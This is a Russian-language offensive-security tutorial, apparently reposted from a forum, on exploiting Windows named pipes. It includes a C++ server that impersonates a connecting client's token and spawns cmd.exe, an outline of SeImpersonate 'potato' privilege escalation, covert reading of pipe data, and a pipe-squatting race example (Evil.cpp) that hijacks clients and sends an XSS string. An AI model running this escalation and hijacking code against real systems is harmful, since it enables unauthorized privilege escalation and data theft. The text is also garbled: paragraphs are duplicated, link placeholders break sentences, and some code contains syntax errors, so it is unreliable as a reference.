stihl не предоставил(а) никакой дополнительной информации.
В Windows есть много средств межпроцессного взаимодействия. Одно из них — именованные каналы, в народе — пайпы. Давай попробуем направить всю мощь ввода‑вывода на благо пентеста и научимся злоупотреблять этим механизмом сообщений. Пусть никто не уйдет без эскалации привилегий!
В системе крутится огромное количество процессов: системные вроде explorer.exe, RunTimeBroker.exe, а также твои любимые браузер, Steam и МалварьПисатьБыстроСтудия.ехе. Большинство из них хранят молчание и не делятся никакой информацией с внешним миром — считай, такие процессы‑интроверты вроде нас с тобой. Однако бывает и иначе. Некоторые процессы должны передавать данные своим сородичам: информацию о состоянии CPU, разрешении экрана, нажимаемых символах на клавиатуре.
Простейший способ взаимодействия между двумя общими процессами — создание файла. Один процесс пишет, другой читает. Впрочем, это не самый удобный способ общения, правда? Здесь возникают проблемы с синхронизацией, атомарным доступом, настройкой дескрипторов безопасности...
Поэтому разработчики Windows придумали чуть более удобный способ передачи данных и изобрели огромное количество сущностей, позволяющих передавать данные между процессами. Одна из этих сущностей — именованный канал (Named Pipe).
Создание именованного канала происходит с помощью функции Для просмотра ссылки Войдиили Зарегистрируйся.
Давай посмотрим, за что отвечает каждое из полей:
Поля:
WaitNamedPipe() дает клиенту возможность ждать подключения к серверу. Например, пытаться подключиться до тех пор, пока пайп не освободится или не пройдет пять минут.
Если хотим реализовать многопоточный сервер, то есть при каждом подключении клиента создавать поток, в справке есть Для просмотра ссылки Войдиили Зарегистрируйся. Мы также можем использовать функцию PeekNamedPipe() для проверки того, нет ли в пайпе новых данных.
или Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Я также добавил пример обнаружения PID клиента пайпа и сервера. Я предполагаю, что клиент всегда будет нашим процессом, однако ты можешь воспользоваться функцией GetNamedPipeClientProcessId() и в другом контексте: например, перехватив чужой хендл, как я описывал в статье «Для просмотра ссылки Войдиили Зарегистрируйся».
Еще есть чуть более сложный вариант — сначала получить все хендлы, а потом среди них находить пайпы. Я бы гордо игнорировал этот метод, однако у меня в заметках сохранен Для просмотра ссылки Войдиили Зарегистрируйся, значит, кому‑то когда‑то это понадобилось.
# Ко всем пайпам
# К конкретному пайпу
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся. Эта утилита позволяет выводить максимально подробную информацию о пайпах и предоставляет все необходимые данные для ресерча.
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся. У инструмента приятный графический интерфейс, автоматический вывод дескрипторов и функция PipeChat, позволяющая установить быстрое соединение с каналом.
Для просмотра ссылки Войдиили Зарегистрируйся
Сервер может нацепить на себя токен клиента через вызов функции Для просмотра ссылки Войдиили Зарегистрируйся.
Здесь hNamedPipe — это хендл пайпа, к которому подключился клиент.
В этом и следующих разделах мы будем симулировать поведение клиента и сервера. В коде ты встретишь Server.cpp (Pipe Server) и Client.cpp — клиентская часть, которая подключается к пайпу.
Для имперсонации клиента достаточно лишь дождаться его подключения и вызвать функцию чтения.
В клиентском коде все очевидно — происходит лишь подключение к пайпу. В коде сервера создаем пайп, меняем его дескриптор (чтобы у всех были права на чтение/запись), после подключения клиента хватаем его токен и имперсонируем. Сервер рекомендую запускать от лица системы либо от учетной записи, у которой есть права на вызов CreateProcessWithTokenW().
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Есть реализации и на других языках, вот два варианта на PowerShell: Для просмотра ссылки Войдиили Зарегистрируйся за авторством S3cur3Th1sSh1t, Для просмотра ссылки Войди или Зарегистрируйся из репозитория пользователя decoder-it.
От этой атаки, конечно же, есть защита. Клиент может контролировать уровень имперсонации. О защите подробно написано в Для просмотра ссылки Войдиили Зарегистрируйся. Если тебе интересно узнать, как конкретно работает имперсонация через пайпы, рекомендую изучить Для просмотра ссылки Войди или Зарегистрируйся Джонатана Джонсона.
Вот несколько таких эксплоитов:
или Зарегистрируйся. Глобально его логика ничем не отличается от инструментов, перечисленных выше, однако сам триггер происходит по методу Kerberos Relay. То есть идет злоупотребление DCOM-аутентификацией. Я подробно рассматривал этот механизм в материале «Для просмотра ссылки Войди или Зарегистрируйся» на «Хабре».
Вот что происходит при использовании этого эксплоита.
или Зарегистрируйся
Нужно только учесть одну особенность: читают данные обычно с помощью стандартных API, например ReadFile(). А такое считывание приведет к тому, что пайп опустеет. То есть данные будут считаны и удалены из пайпа. Для нас такое поведение недопустимо, поэтому на помощь приходит функция Для просмотра ссылки Войдиили Зарегистрируйся. Эта функция считывает данные, не удаляя их из пайпа.
С ней мы сможем получить список пайпов в системе, а потом в цикле считывать из них данные с помощью PeekNamedPipe() и искать в них чувствительную информацию или хотя бы какие‑нибудь данные, которые помогут тебе продвинуться дальше.
Я немного изменил логику программы в части поиска пайпов, добавив возможность чтения данных, лежащих в пайпе, с выводом размерности. Код большой, целиком ищи на Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся
Таким образом, появляется возможность некоторого состояния гонки: кто быстрей, того и тапки. Есть одно исключение: если при создании пайпа используется флаг FILE_FLAG_FIRST_PIPE_INSTANCE, то Windows автоматически проверит, нет ли пайпа с таким именем. Если имя уже занято, то пайп не создастся. Также стоит учесть параметр nMaxInstances, который определяет максимальное количество пайпов с одним именем.
Держи в голове и еще одну особенность: если в системе уже создан пайп, то новые создаваемые пайпы с таким же именем будут наследовать дескриптор безопасности ранее созданного пайпа.
Как это можно эксплуатировать? Допустим, есть клиентское приложение, возможно даже работающее в другом контексте, которое пытается подключиться к такому же привилегированному приложению — серверу пайпов. Если мы сможем опередить серверное приложение и создать пайп с нужным именем раньше, то клиент подключится к нам и у нас будут все возможности для воздействия на него. Например, никто не помешает имперсонировать чужой контекст или отправлять специально созданные пакеты в пайп, ожидая, что клиент совершит вредоносные действия.
Итак, сценарий атаки на клиент по шагам.
или Зарегистрируйся в реальных условиях: это Для просмотра ссылки Войди или Зарегистрируйся. Подсистема CLR Diagnostics создавала пайп в любом дотнетовском приложении. Конечно же, просто так к этому пайпу подключиться было нельзя — это могла сделать только система или пользователь — владелец процесса. Однако у атакующего была возможность опередить CLR. В таком случае он успешно создавал пайп с нужным именем, а затем подключалась система CLR и создавала еще один пайп (считай, второй в очереди). В этот раз, так как DACL наследовался, созданный системой CLR в процессе .NET пайп позволял подключаться к себе. И тогда атакующий мог воспользоваться возможностями приложения, подгрузив в него Для просмотра ссылки Войди или Зарегистрируйся.
Повторим пошагово.
Для просмотра ссылки Войдиили Зарегистрируйся
Однако некий Evil.exe оказался быстрее нашего Server.exe. Смотри, что происходит:
Для просмотра ссылки Войдиили Зарегистрируйся
Как видишь, Evil.exe создал пайп раньше, за ним тот же самый пайп создал и Server.exe, но, согласно принципу FIFO, Windows дала возможность подключиться клиенту первым к Evil.exe, а Server.exe проигнорировала.
В системе крутится огромное количество процессов: системные вроде explorer.exe, RunTimeBroker.exe, а также твои любимые браузер, Steam и МалварьПисатьБыстроСтудия.ехе. Большинство из них хранят молчание и не делятся никакой информацией с внешним миром — считай, такие процессы‑интроверты вроде нас с тобой. Однако бывает и иначе. Некоторые процессы должны передавать данные своим сородичам: информацию о состоянии CPU, разрешении экрана, нажимаемых символах на клавиатуре.
Простейший способ взаимодействия между двумя общими процессами — создание файла. Один процесс пишет, другой читает. Впрочем, это не самый удобный способ общения, правда? Здесь возникают проблемы с синхронизацией, атомарным доступом, настройкой дескрипторов безопасности...
Поэтому разработчики Windows придумали чуть более удобный способ передачи данных и изобрели огромное количество сущностей, позволяющих передавать данные между процессами. Одна из этих сущностей — именованный канал (Named Pipe).
Что такое Pipe
Пайп представляет собой объект типа FILE_OBJECT, управляемый специальной файловой системой с именем NPFS — Named Pipe File System. Пайп позволяет писать и считывать из себя данные разным процессам, что и решает задачу их взаимодействия. На сетевом уровне передача данных происходит поверх протокола SMB.Создание именованного канала происходит с помощью функции Для просмотра ссылки Войди
Код:
HANDLE CreateNamedPipeA(
[in] LPCSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
- lpName — имя создаваемого пайпа. Оно может не быть уникальным. Например, в системе без проблем может быть создан пайп с именем 1123 и следом за ним еще один 1123. Взаимодействовать клиенты, конечно же, будут с тем пайпом, который был создан раньше;
- dwOpenMode — режим работы пайпа (ввод/вывод, только вывод или только ввод) плюс дополнительные флаги. Среди них выделяется FILE_FLAG_FIRST_PIPE_INSTANCE, который позволяет ограничить возможность создания пайпов с одинаковым именем. Впрочем, к этому флагу мы еще вернемся;
- dwPipeMode — режим работы пайпа. Пайп может передавать поток байтов, а может поток сообщений. Здесь же задается возможность контроля подключения удаленных клиентов и «удержания» клиентов до тех пор, пока все данные не будут считаны или записаны, — так называемый режим блокировки;
- nMaxInstances — максимальное количество экземпляров канала. Определяет, сколько пайпов с таким именем может быть в системе. Можно указать PIPE_UNLIMITED_INSTANCES, чтобы ОС сама выбрала это количество, основываясь на доступных ресурсах;
- nOutBufferSize, nInBufferSize — позволяют указать размеры в байтах выходного и входного буфера именованных каналов. Можно указать 0, тогда система будет использовать размеры по умолчанию;
- nDefaultTimeOut — длительность интервала ожидания в миллисекундах для функции WaitNamedPipe();
- lpSecurityAttributes — атрибуты защиты. Кстати, это единственный механизм защиты в пайпах. Если в качестве этого значения передавать NULL, то к пайпу смогут получить полный доступ члены группы ЛА, система и создатель пайпа, а доступ на чтение будет у Everyone и учетки Anonymous. Короче, если при создании пайпа ты не указал дескриптор безопасности, то данные из этого пайпа сможет читать кто угодно.
- Для просмотра ссылки Войди
или Зарегистрируйся; - Для просмотра ссылки Войди
или Зарегистрируйся; - Для просмотра ссылки Войди
или Зарегистрируйся.
Код:
BOOL ConnectNamedPipe(
HANDLE hNamedPipe,
LPOVERLAPPED lpOverlapped
)
Поля:
- hNamedPipe — хендл на созданный на сервере пайп;
- lpOverlapped — позволяет контролировать асинхронные операции, связанные с клиентскими действиями на пайпе. Например, чтобы поток управления возвращался сразу же, а не после считывания всех байтов функцией ReadFile().
WaitNamedPipe() дает клиенту возможность ждать подключения к серверу. Например, пытаться подключиться до тех пор, пока пайп не освободится или не пройдет пять минут.
Код:
BOOL WaitNamedPipeA(
[in] LPCSTR lpNamedPipeName,
[in] DWORD nTimeOut
);
- lpNamedPipeName — имя пайпа;
- nTimeOut — время в миллисекундах, в течение которого функция будет ожидать доступности пайпа. Можно указать NMPWAIT_WAIT_FOREVER для бесконечного ожидания.
Пример клиента и сервера
Для общего понимания предлагаю посмотреть, как может выглядеть передача строки с сервера на клиент.
Код:
// Server.cpp
#include <Windows.h>
#include <iostream>
int main() {
wchar_t pipeName[] = L"\\\\.\\pipe\\mypipe";
wchar_t message[40] = L"Hello World";
HANDLE serverpipe = NULL;
serverpipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 0, NULL);
BOOL isPipeConnected = FALSE;
isPipeConnected = ConnectNamedPipe(serverpipe, NULL);
if (isPipeConnected) {
DWORD dw;
WriteFile(serverpipe, message, sizeof(message), &dw, NULL);
std::cout << dw << "Writed bytes to pipe" << std::endl;
DisconnectNamedPipe(serverpipe);
}
CloseHandle(serverpipe);
return 0;
}
// Client.cpp
#include <Windows.h>
#include <iostream>
int main() {
wchar_t pipeName[] = L"\\\\.\\pipe\\mypipe"; // Можно засунуть айпишник "\\\\10.10.10.10\\pipe\\mypipe"
HANDLE clientPipe = NULL;
wchar_t newMessage[40] = { 0 };
// Коннект к пайпу
clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
ReadFile(clientPipe, newMessage, sizeof(newMessage), NULL, 0);
MessageBox(NULL, newMessage, NULL, MB_OK);
return 0;
}
Если хотим реализовать многопоточный сервер, то есть при каждом подключении клиента создавать поток, в справке есть Для просмотра ссылки Войди
Изучение доступных пайпов
В системе одновременно работает множество именованных каналов. В следующих разделах будем их активно эксплуатировать, поэтому логично будет научиться находить работающие пайпы!Process Hacker
Самый простой способ обнаружения пайпов — воспользоваться красивым GUI в Для просмотра ссылки ВойдиДля просмотра ссылки Войди
C++
Для более глубокого контроля и написания собственных инструментов было бы неплохо создать полноценную тулзу для обнаружения работающих пайпов. Здесь нам подойдет особенность именования каналов — все они начинаются с .pipe. В действительности это отдельное пространство имен. По нему можно пробегаться так же, как и при поиске обычных файлов.
C++:
#include <windows.h>
#include <iostream>
#include <string>
int main()
{
HANDLE hFind;
WIN32_FIND_DATA findFileData;
LPCWSTR pipesPath = L"\\\\.\\pipe\\*";
hFind = FindFirstFile(pipesPath, &findFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
std::wcerr << L"Failed to find pipes, error: " << GetLastError() << std::endl;
return 1;
}
do
{
std::wstring pipeName = L"\\\\.\\pipe\" + std::wstring(findFileData.cFileName);
std::wcout << L"Found named pipe: " << pipeName;
HANDLE hPipe = CreateFile(
pipeName.c_str(),
GENERIC_READ |
GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hPipe != INVALID_HANDLE_VALUE)
{
DWORD clientPID;
if (GetNamedPipeClientProcessId(hPipe, &clientPID))
{
std::wcout << L", Client PID: " << clientPID;
}
else
{
std::wcerr << L", Failed to get client PID, error: " << GetLastError();
}
if (GetNamedPipeServerProcessId(hPipe, &clientPID))
{
std::wcout << L", Server PID: " << clientPID;
}
else
{
std::wcerr << L", Failed to get client PID, error: " << GetLastError();
}
CloseHandle(hPipe);
}
else
{
std::wcerr << L", Failed to open pipe, error: " << GetLastError();
}
std::wcout << std::endl;
} while (FindNextFile(hFind, &findFileData) != 0);
FindClose(hFind);
return 0;
}
Я также добавил пример обнаружения PID клиента пайпа и сервера. Я предполагаю, что клиент всегда будет нашим процессом, однако ты можешь воспользоваться функцией GetNamedPipeClientProcessId() и в другом контексте: например, перехватив чужой хендл, как я описывал в статье «Для просмотра ссылки Войди
Еще есть чуть более сложный вариант — сначала получить все хендлы, а потом среди них находить пайпы. Я бы гордо игнорировал этот метод, однако у меня в заметках сохранен Для просмотра ссылки Войди
PowerShell
Согласись, что автоматизация и C++ — не самые близкие вещи. Исследовать пайпы можно и через PowerShell, можно даже сделать красивый вывод дескрипторов.# Ко всем пайпам
Get-ChildItem \\.\pipe\ | ForEach-Object -ErrorAction SilentlyContinue GetAccessControl
# К конкретному пайпу
Get-ChildItem \\.\pipe\eventlog | ForEach-Object -ErrorAction SilentlyContinue GetAccessControl
Для просмотра ссылки Войди
IO Ninja
Но самый крутой вариант, особенно с целью найти уязвимость, — это Для просмотра ссылки ВойдиДля просмотра ссылки Войди
PipeViewer
С IO Ninja может смело посоревноваться Для просмотра ссылки ВойдиДля просмотра ссылки Войди
Имперсонация клиентов
Предлагаю начать с базы. Серверы именованных каналов имеют право олицетворять подключенные клиенты. Причем если клиент не переопределял уровень имперсонации, то ему будет назначен стандартный — SecurityImpersonation. Такого уровня достаточно для запуска cmd.exe от лица пользователя.Сервер может нацепить на себя токен клиента через вызов функции Для просмотра ссылки Войди
Код:
BOOL ImpersonateNamedPipeClient(
[in] HANDLE hNamedPipe
);
Здесь hNamedPipe — это хендл пайпа, к которому подключился клиент.
В этом и следующих разделах мы будем симулировать поведение клиента и сервера. В коде ты встретишь Server.cpp (Pipe Server) и Client.cpp — клиентская часть, которая подключается к пайпу.
Для имперсонации клиента достаточно лишь дождаться его подключения и вызвать функцию чтения.
Код:
// Client.cpp
#include <iostream>
#include <Windows.h>
const int MESSAGE_SIZE = 512;
int main()
{
LPCWSTR cwPipeName = L"\\\\.\\pipe\\mysuperpipe";
HANDLE hClientPipe = NULL;
wchar_t msg[] = L"imp";
DWORD dwBytesReaded;
std::wcout << L"Connecting to " << cwPipeName << std::endl;
hClientPipe = CreateFile(cwPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hClientPipe != NULL)
{
std::wcout << L"Success" << std::endl;
while (true) {
ReadFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded, NULL);
WriteFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded, NULL);
}
}
return 0;
}
// Server.cpp
#include <iostream>
#include <windows.h>
#include <sddl.h>
int main() {
LPCWSTR cwPipeName = L"\\\\.\\pipe\\mysuperpipe";
HANDLE hServerPipe = NULL;
BOOL bPipeConnected = FALSE;
DWORD dwErr;
wchar_t msg[] = L"imp";
DWORD dwBytesWritten;
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
{
wprintf(L"InitializeSecurityDescriptor() failed. Error: %d\n", GetLastError());
return NULL;
}
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"DA;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))
{
wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d\n", GetLastError());
return NULL;
}
hServerPipe = CreateNamedPipe(cwPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);
bPipeConnected = ConnectNamedPipe(hServerPipe, NULL);
if (bPipeConnected) {
std::wcout << "Client Connected!" << std::endl;
WriteFile(hServerPipe, msg, wcslen(msg), &dwBytesWritten, NULL);
ReadFile(hServerPipe, msg, wcslen(msg), &dwBytesWritten, NULL);
if (ImpersonateNamedPipeClient(hServerPipe) == 0)
{
dwErr = GetLastError();
std::wcout << dwErr << std::endl;
}
HANDLE hSystemToken;
HANDLE hSystemTokenDup;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken))
{
wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError());
return -1;
}
if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup))
{
wprintf(L"DuplicateTokenEx() failed. Error: %d\n", GetLastError());
return -1;
}
wchar_t command[] = L"C:\\Windows\\system32\\cmd.exe";
PROCESS_INFORMATION pi = {};
STARTUPINFO si = {};
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
DWORD len;
TOKEN_STATISTICS stats;
if :GetTokenInformation(hSystemTokenDup, TokenStatistics, &stats, sizeof(stats), &len)) {
printf("Logon Session ID: 0x%08llX\n", (stats.AuthenticationId));
printf("Token Type: %s\n", stats.TokenType == TokenPrimary ? "Primary" : "Impersonation");
printf("Dynamic charged (bytes): %lu\n", stats.DynamicCharged);
printf("Dynamic available (bytes): %lu\n", stats.DynamicAvailable);
printf("Group count: %lu\n", stats.GroupCount);
printf("Privilege count: %lu\n", stats.PrivilegeCount);
}
if (CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == 0)
{
dwErr = GetLastError();
std::wcout << dwErr << std::endl;
}
}
return 0;
}
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Есть реализации и на других языках, вот два варианта на PowerShell: Для просмотра ссылки Войди
От этой атаки, конечно же, есть защита. Клиент может контролировать уровень имперсонации. О защите подробно написано в Для просмотра ссылки Войди
Чейн с SeImpersonate
Возможности имперсонации часто используются в популярных эксплоитах «картофельной» серии. Они позволяют повысить свои привилегии до уровня системы, имея доступ к учетной записи с SeImpersonatePrivilege. Общий концепт прост: стриггерить учетную запись системы на пайп, захватить токен, нацепить его на себя.Вот несколько таких эксплоитов:
- Для просмотра ссылки Войди
или Зарегистрируйся — триггер на пайп происходит через службу печати; - Для просмотра ссылки Войди
или Зарегистрируйся — триггер через службу печати, а также через механизм PetitPotam со злоупотреблением функциями протокола MS-EFSR; - Для просмотра ссылки Войди
или Зарегистрируйся — триггер через уязвимую службу DiagTrack; - Для просмотра ссылки Войди
или Зарегистрируйся — злоупотребление службой Rasman; - Для просмотра ссылки Войди
или Зарегистрируйся — служба AzureAttestService.
Вот что происходит при использовании этого эксплоита.
- Запускается Для просмотра ссылки Войди
или Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся - Через перезапись кода функция Для просмотра ссылки Войди
или Зарегистрируйся биндит на разрешенном 135-м порте (чтобы перехватывать SMB-аутентификацию) функции RpcServerUseProtseqEp() в RPC Dispatch Table. Вместо этого будет вызываться функция Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся - В качестве конечной точки для подключения указывается Для просмотра ссылки Войди
или Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся - Срабатывает триггер системы через маршаллинг вредоносного объекта OBJREF. Происходит обращение к OXID Resolver.
- OXID Resolver отдает RPC String Binding на эндпоинт из пункта 3.
- Происходит аутентификация на NamedPipe и дергается функция Для просмотра ссылки Войди
или Зарегистрируйся.
Скрытое чтение данных
Как ты уже знаешь, пайпы нужны для чтения данных. У пайпов есть дескриптор безопасности, который по умолчанию позволяет всем читать текстовые данные из пайпа. Сразу даже как‑то не верится: неужели мы можем считывать все данные из пайпа? Можем!Нужно только учесть одну особенность: читают данные обычно с помощью стандартных API, например ReadFile(). А такое считывание приведет к тому, что пайп опустеет. То есть данные будут считаны и удалены из пайпа. Для нас такое поведение недопустимо, поэтому на помощь приходит функция Для просмотра ссылки Войди
С ней мы сможем получить список пайпов в системе, а потом в цикле считывать из них данные с помощью PeekNamedPipe() и искать в них чувствительную информацию или хотя бы какие‑нибудь данные, которые помогут тебе продвинуться дальше.
Я немного изменил логику программы в части поиска пайпов, добавив возможность чтения данных, лежащих в пайпе, с выводом размерности. Код большой, целиком ищи на Для просмотра ссылки Войди
Для просмотра ссылки Войди
Гонка пайпов
Помнишь, я говорил, что можно создавать неограниченное количество каналов с одним и тем же именем? Система будет использовать тот канал, который был создан раньше. Можно считать, что все пайпы с одним названием организованы в формате очереди — First In First Out.Таким образом, появляется возможность некоторого состояния гонки: кто быстрей, того и тапки. Есть одно исключение: если при создании пайпа используется флаг FILE_FLAG_FIRST_PIPE_INSTANCE, то Windows автоматически проверит, нет ли пайпа с таким именем. Если имя уже занято, то пайп не создастся. Также стоит учесть параметр nMaxInstances, который определяет максимальное количество пайпов с одним именем.
Держи в голове и еще одну особенность: если в системе уже создан пайп, то новые создаваемые пайпы с таким же именем будут наследовать дескриптор безопасности ранее созданного пайпа.
Как это можно эксплуатировать? Допустим, есть клиентское приложение, возможно даже работающее в другом контексте, которое пытается подключиться к такому же привилегированному приложению — серверу пайпов. Если мы сможем опередить серверное приложение и создать пайп с нужным именем раньше, то клиент подключится к нам и у нас будут все возможности для воздействия на него. Например, никто не помешает имперсонировать чужой контекст или отправлять специально созданные пакеты в пайп, ожидая, что клиент совершит вредоносные действия.
Итак, сценарий атаки на клиент по шагам.
- Определяем целевое приложение, которое создает пайп.
- Обнаруживаем клиенты пайпа. Делать это можно через PipeViewer.
Для просмотра ссылки Войдиили Зарегистрируйся - Пишем приложение, которое создает пайп с таким же именем, что и атакуемое приложение.
- Реализуем Race Condition, создавая наш пайп раньше, чем приложение‑сервер.
- Клиенты начинают подключаться к нам.
- Проводим имперсонацию или пишем/читаем данные. В общем, воздействуем на клиент так, как можем.
- Обнаруживаем приложение, которое создает пайп.
- Можем попытаться пореверсить целевое приложение и попытаться обнаружить, какие его возможности доступны клиентам и что они могут делать с сервером. Следует также проверить DACL пайпа.
- Скорее всего, DACL не позволит нам подключаться к этому пайпу, поэтому здесь в игру и вступает наш Race Condition.
- Пишем программу, которая создает пайп с таким же именем, что и атакуемое приложение. Затем нужно сделать как‑то так, чтобы наша программа создала пайп раньше, чем атакуемое приложение.
- Если мы сможем опередить атакуемое приложение, то последующие создаваемые атакуемым приложением пайпы будут наследовать права доступа нашего пайпа. Это позволит нам подключиться к ранее недоступному пайпу и пользоваться его возможностями.
- Успешно подключаемся к пайпу в целевом приложении и злоупотребляем его возможностями.
Повторим пошагово.
- Эксплоит сначала должен запустить любое дотнетовское приложение от лица другого пользователя через Session Moniker. Моникеры я рассматривал в статье «Для просмотра ссылки Войди
или Зарегистрируйся». Автор PoC запускал приложение PhoneExperienceHost. - Приложение написано на .NET, поэтому платформа CLR будет пытаться создать пайп с именем dotnet-diagnostic-{PhoneExperienceHost PID}.
- С помощью эксплоита обгоняем платформу CLR и создаем этот пайп в нашем процессе.
- Просыпается CLR, создает еще один пайп, уже в процессе PhoneExperienceHost.
- На этот второй пайп наследуется дескриптор нашего пайпа (первого). А в нем мы можем прописать что угодно, например разрешение FullAccess группе Everyone.
- Подключаемся ко второму пайпу.
- Используем возможности приложения и подгружаем профилировщик кода с вредоносным пейлоадом. Здесь‑то и происходит LPE, потому что мы смогли: - инстанцировать .NET-приложение в чужой сессии; - создать в нем пайп, к которому можем подключиться; - подключиться к пайпу и злоупотребить его возможностями.
Код:
// Client.cpp
#include <windows.h>
#include <iostream>
int wmain() {
const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld";
HANDLE hPipe = CreateFileW(
pipeName,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
std::wcerr << L"Error connecting to pipe. Error code: " << GetLastError() << std::endl;
return 1;
}
wchar_t buffer[512];
DWORD bytesRead;
if (!ReadFile(hPipe, buffer, sizeof(buffer), &bytesRead, NULL)) {
std::wcerr << L"Error reading data. Error code: " << GetLastError() << std::endl;
}
else {
std::wcout << L"Received message: " << buffer << std::endl;
}
CloseHandle(hPipe);
return 0;
}
#include <windows.h>
#include <iostream>
int wmain() {
const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld";
HANDLE hPipe = CreateNamedPipeW(
pipeName,
PIPE_ACCESS_OUTBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
512,
512,
0,
NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
std::wcerr << L"Error creating named pipe. Error code: " << GetLastError() << std::endl;
return 1;
}
std::wcout << L"Waiting for client connection..." << std::endl;
if (ConnectNamedPipe(hPipe, NULL) == FALSE) {
std::wcerr << L"Error connecting client. Error code: " << GetLastError() << std::endl;
CloseHandle(hPipe);
return 1;
}
const wchar_t* message = L"Hello from Pipe Server!";
DWORD bytesWritten;
if (!WriteFile(hPipe, message, (wcslen(message) + 1) * sizeof(wchar_t), &bytesWritten, NULL)) {
std::wcerr << L"Error sending data. Error code: " << GetLastError() << std::endl;
}
else {
std::wcout << L"Message sent: " << message << std::endl;
}
CloseHandle(hPipe);
return 0;
}
Для просмотра ссылки Войди
Однако некий Evil.exe оказался быстрее нашего Server.exe. Смотри, что происходит:
Код:
// Evil.cpp
#include <windows.h>
#include <iostream>
int wmain() {
const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld";
HANDLE hPipe = CreateNamedPipeW(
pipeName,
PIPE_ACCESS_OUTBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
512,
512,
0,
NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
std::wcerr << L"Error creating named pipe. Error code: " << GetLastError() << std::endl;
return 1;
}
std::wcout << L"Waiting for client connection..." << std::endl;
if (ConnectNamedPipe(hPipe, NULL) == FALSE) {
std::wcerr << L"Error connecting client. Error code: " << GetLastError() << std::endl;
CloseHandle(hPipe);
return 1;
}
const wchar_t* message = L"<img src=x onerror=alert()>!";
DWORD bytesWritten;
if (!WriteFile(hPipe, message, (wcslen(message) + 1) * sizeof(wchar_t), &bytesWritten, NULL)) {
std::wcerr << L"Error sending data. Error code: " << GetLastError() << std::endl;
}
else {
std::wcout << L"Message sent: " << message << std::endl;
}
CloseHandle(hPipe);
return 0;
}
Для просмотра ссылки Войди
Как видишь, Evil.exe создал пайп раньше, за ним тот же самый пайп создал и Server.exe, но, согласно принципу FIFO, Windows дала возможность подключиться клиенту первым к Evil.exe, а Server.exe проигнорировала.